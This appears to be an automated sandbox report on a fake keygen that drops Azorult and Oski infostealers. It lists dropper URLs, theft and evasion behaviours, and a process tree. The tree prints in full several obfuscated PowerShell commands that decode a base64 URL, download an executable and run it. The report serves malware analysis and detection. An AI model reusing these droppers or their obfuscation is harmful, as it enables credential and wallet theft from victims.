azorult | 201001-nyhbt4p25j_pw_infected[.]rar

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
26s
max time network
148s
platform
windows10_x64
resource
win10
submitted
01-10-2020 20:51

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия — копия (2).exe

Score

10^/10

azorult oski discovery infostealer spyware stealer trojan

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult
Oski
Oski is an infostealer targeting browser data, crypto wallets.
infostealer oski
Blocklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

10 3264 powershell.exe
11 772 powershell.exe
13 3264 powershell.exe
15 772 powershell.exe
16 4408 powershell.exe
18 4408 powershell.exe
Downloads MZ/PE file

flow	pid	process
10	3264	powershell.exe
11	772	powershell.exe
13	3264	powershell.exe
15	772	powershell.exe
16	4408	powershell.exe
18	4408	powershell.exe

Executes dropped EXE 16 IoCs

Processes:

Keygen.exeiyh.exegar.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exegar.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exebgv.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exebgv.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeiyh.exehgfnmbasdo.exe

pid	process
1868	Keygen.exe
4948	iyh.exe
4960	gar.exe
5100	FVjhgtresfdbv.exe
5112	NHtrdsaghfDF.exe
4196	gar.exe
4264	NHtrdsaghfDF.exe
4104	FVjhgtresfdbv.exe
4708	bgv.exe
4824	FVjhgtresfdbv.exe
4332	NHtrdsaghfDF.exe
4928	bgv.exe
4024	FVjhgtresfdbv.exe
1960	NHtrdsaghfDF.exe
2228	iyh.exe
5024	hgfnmbasdo.exe

Loads dropped DLL 3 IoCs

Processes:

FVjhgtresfdbv.exe

pid process

4104 FVjhgtresfdbv.exe
4104 FVjhgtresfdbv.exe
4104 FVjhgtresfdbv.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

pid	process
4104	FVjhgtresfdbv.exe
4104	FVjhgtresfdbv.exe
4104	FVjhgtresfdbv.exe

Suspicious use of SetThreadContext 7 IoCs

Processes:

gar.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exebgv.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeiyh.exe

description	pid	process	target process
PID 4960 set thread context of 4196	4960	gar.exe	gar.exe
PID 5112 set thread context of 4264	5112	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe
PID 5100 set thread context of 4104	5100	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 4708 set thread context of 4928	4708	bgv.exe	bgv.exe
PID 4824 set thread context of 4024	4824	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 4332 set thread context of 1960	4332	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe
PID 4948 set thread context of 2228	4948	iyh.exe	iyh.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

4356 4024 WerFault.exe FVjhgtresfdbv.exe
Checks processor information in registry 2 TTPs 1 IoCs
Processor information is often read in order to detect sandboxing environments.

Query Registry
T1012

System Information Discovery
T1082

Processes:

FVjhgtresfdbv.exe

description ioc process

Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString FVjhgtresfdbv.exe
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

2808 timeout.exe
1600 timeout.exe
Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

3760 taskkill.exe

pid	pid_target	process	target process
4356	4024	WerFault.exe	FVjhgtresfdbv.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FVjhgtresfdbv.exe

pid	process
2808	timeout.exe
1600	timeout.exe

pid	process
3760	taskkill.exe

Modifies registry class 2 IoCs

Processes:

cmd.exeiyh.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	iyh.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
3264	powershell.exe
2272	powershell.exe
772	powershell.exe
3840	powershell.exe
3840	powershell.exe
2272	powershell.exe
3264	powershell.exe
772	powershell.exe
3840	powershell.exe
772	powershell.exe
2272	powershell.exe
3264	powershell.exe
4408	powershell.exe
4408	powershell.exe
4568	powershell.exe
4568	powershell.exe
4408	powershell.exe
4568	powershell.exe
4408	powershell.exe
4568	powershell.exe

Suspicious behavior: MapViewOfSection 6 IoCs

Processes:

gar.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exebgv.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid process

4960 gar.exe
5112 NHtrdsaghfDF.exe
5100 FVjhgtresfdbv.exe
4708 bgv.exe
4824 FVjhgtresfdbv.exe
4332 NHtrdsaghfDF.exe

pid	process
4960	gar.exe
5112	NHtrdsaghfDF.exe
5100	FVjhgtresfdbv.exe
4708	bgv.exe
4824	FVjhgtresfdbv.exe
4332	NHtrdsaghfDF.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeiyh.exeWerFault.exe

description	pid	process
Token: SeDebugPrivilege	2272	powershell.exe
Token: SeDebugPrivilege	3264	powershell.exe
Token: SeDebugPrivilege	772	powershell.exe
Token: SeDebugPrivilege	3840	powershell.exe
Token: SeDebugPrivilege	4408	powershell.exe
Token: SeDebugPrivilege	4568	powershell.exe
Token: SeDebugPrivilege	4948	iyh.exe
Token: SeRestorePrivilege	4356	WerFault.exe
Token: SeBackupPrivilege	4356	WerFault.exe

Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

Keygen.exegar.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exebgv.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid process

1868 Keygen.exe
4960 gar.exe
5100 FVjhgtresfdbv.exe
5112 NHtrdsaghfDF.exe
4708 bgv.exe
4824 FVjhgtresfdbv.exe
4332 NHtrdsaghfDF.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Keygen — копия — копия (2).execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exepowershell.exepowershell.exegar.exe

description	pid	process	target process
PID 3420 wrote to memory of 828	3420	Keygen — копия — копия (2).exe	cmd.exe
PID 3420 wrote to memory of 828	3420	Keygen — копия — копия (2).exe	cmd.exe
PID 3420 wrote to memory of 828	3420	Keygen — копия — копия (2).exe	cmd.exe
PID 828 wrote to memory of 1868	828	cmd.exe	Keygen.exe
PID 828 wrote to memory of 1868	828	cmd.exe	Keygen.exe
PID 828 wrote to memory of 1868	828	cmd.exe	Keygen.exe
PID 828 wrote to memory of 2208	828	cmd.exe	mshta.exe
PID 828 wrote to memory of 2208	828	cmd.exe	mshta.exe
PID 828 wrote to memory of 2208	828	cmd.exe	mshta.exe
PID 828 wrote to memory of 2652	828	cmd.exe	mshta.exe
PID 828 wrote to memory of 2652	828	cmd.exe	mshta.exe
PID 828 wrote to memory of 2652	828	cmd.exe	mshta.exe
PID 828 wrote to memory of 2808	828	cmd.exe	timeout.exe
PID 828 wrote to memory of 2808	828	cmd.exe	timeout.exe
PID 828 wrote to memory of 2808	828	cmd.exe	timeout.exe
PID 2652 wrote to memory of 2272	2652	mshta.exe	powershell.exe
PID 2652 wrote to memory of 2272	2652	mshta.exe	powershell.exe
PID 2652 wrote to memory of 2272	2652	mshta.exe	powershell.exe
PID 2208 wrote to memory of 3264	2208	mshta.exe	powershell.exe
PID 2208 wrote to memory of 3264	2208	mshta.exe	powershell.exe
PID 2208 wrote to memory of 3264	2208	mshta.exe	powershell.exe
PID 828 wrote to memory of 1344	828	cmd.exe	mshta.exe
PID 828 wrote to memory of 1344	828	cmd.exe	mshta.exe
PID 828 wrote to memory of 1344	828	cmd.exe	mshta.exe
PID 828 wrote to memory of 3916	828	cmd.exe	mshta.exe
PID 828 wrote to memory of 3916	828	cmd.exe	mshta.exe
PID 828 wrote to memory of 3916	828	cmd.exe	mshta.exe
PID 1344 wrote to memory of 772	1344	mshta.exe	powershell.exe
PID 1344 wrote to memory of 772	1344	mshta.exe	powershell.exe
PID 1344 wrote to memory of 772	1344	mshta.exe	powershell.exe
PID 3916 wrote to memory of 3840	3916	mshta.exe	powershell.exe
PID 3916 wrote to memory of 3840	3916	mshta.exe	powershell.exe
PID 3916 wrote to memory of 3840	3916	mshta.exe	powershell.exe
PID 828 wrote to memory of 1600	828	cmd.exe	timeout.exe
PID 828 wrote to memory of 1600	828	cmd.exe	timeout.exe
PID 828 wrote to memory of 1600	828	cmd.exe	timeout.exe
PID 828 wrote to memory of 4348	828	cmd.exe	mshta.exe
PID 828 wrote to memory of 4348	828	cmd.exe	mshta.exe
PID 828 wrote to memory of 4348	828	cmd.exe	mshta.exe
PID 4348 wrote to memory of 4408	4348	mshta.exe	powershell.exe
PID 4348 wrote to memory of 4408	4348	mshta.exe	powershell.exe
PID 4348 wrote to memory of 4408	4348	mshta.exe	powershell.exe
PID 828 wrote to memory of 4480	828	cmd.exe	mshta.exe
PID 828 wrote to memory of 4480	828	cmd.exe	mshta.exe
PID 828 wrote to memory of 4480	828	cmd.exe	mshta.exe
PID 4480 wrote to memory of 4568	4480	mshta.exe	powershell.exe
PID 4480 wrote to memory of 4568	4480	mshta.exe	powershell.exe
PID 4480 wrote to memory of 4568	4480	mshta.exe	powershell.exe
PID 772 wrote to memory of 4948	772	powershell.exe	iyh.exe
PID 772 wrote to memory of 4948	772	powershell.exe	iyh.exe
PID 772 wrote to memory of 4948	772	powershell.exe	iyh.exe
PID 3264 wrote to memory of 4960	3264	powershell.exe	gar.exe
PID 3264 wrote to memory of 4960	3264	powershell.exe	gar.exe
PID 3264 wrote to memory of 4960	3264	powershell.exe	gar.exe
PID 4960 wrote to memory of 5100	4960	gar.exe	FVjhgtresfdbv.exe
PID 4960 wrote to memory of 5100	4960	gar.exe	FVjhgtresfdbv.exe
PID 4960 wrote to memory of 5100	4960	gar.exe	FVjhgtresfdbv.exe
PID 4960 wrote to memory of 5112	4960	gar.exe	NHtrdsaghfDF.exe
PID 4960 wrote to memory of 5112	4960	gar.exe	NHtrdsaghfDF.exe
PID 4960 wrote to memory of 5112	4960	gar.exe	NHtrdsaghfDF.exe
PID 4960 wrote to memory of 4196	4960	gar.exe	gar.exe
PID 4960 wrote to memory of 4196	4960	gar.exe	gar.exe
PID 4960 wrote to memory of 4196	4960	gar.exe	gar.exe
PID 4960 wrote to memory of 4196	4960	gar.exe	gar.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия — копия (2).exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия — копия (2).exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3420

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\2188.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? — ????? (2).exe""
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:828

C:\Users\Admin\AppData\Local\Temp\2188.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1868

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\2188.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2208

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3264

C:\Users\Public\gar.exe
"C:\Users\Public\gar.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4960

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:5100

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:4104

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /pid 4104 & erase C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe & RD /S /Q C:\\ProgramData\\868562303789634\\* & exit
8⤵
PID:5044

C:\Windows\SysWOW64\taskkill.exe
taskkill /pid 4104
9⤵
- Kills process with taskkill
PID:3760

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:5112

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:4264

C:\Users\Public\gar.exe
"C:\Users\Public\gar.exe"
6⤵
- Executes dropped EXE
PID:4196

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\2188.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2652

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2272

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:2808

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\2188.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:1344

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:772

C:\Users\Public\iyh.exe
"C:\Users\Public\iyh.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:4948

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Rarujmxnv.vbs"
6⤵
PID:208

C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
"C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe"
7⤵
- Executes dropped EXE
PID:5024

C:\Users\Public\iyh.exe
"C:\Users\Public\iyh.exe"
6⤵
- Executes dropped EXE
PID:2228

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\2188.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3916

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3840

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:1600

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\2188.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4348

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4408

C:\Users\Public\bgv.exe
"C:\Users\Public\bgv.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4708

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4824

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
PID:4024

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4024 -s 1232
8⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:4356

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4332

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:1960

C:\Users\Public\bgv.exe
"C:\Users\Public\bgv.exe"
6⤵
- Executes dropped EXE
PID:4928

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\2188.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4480

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
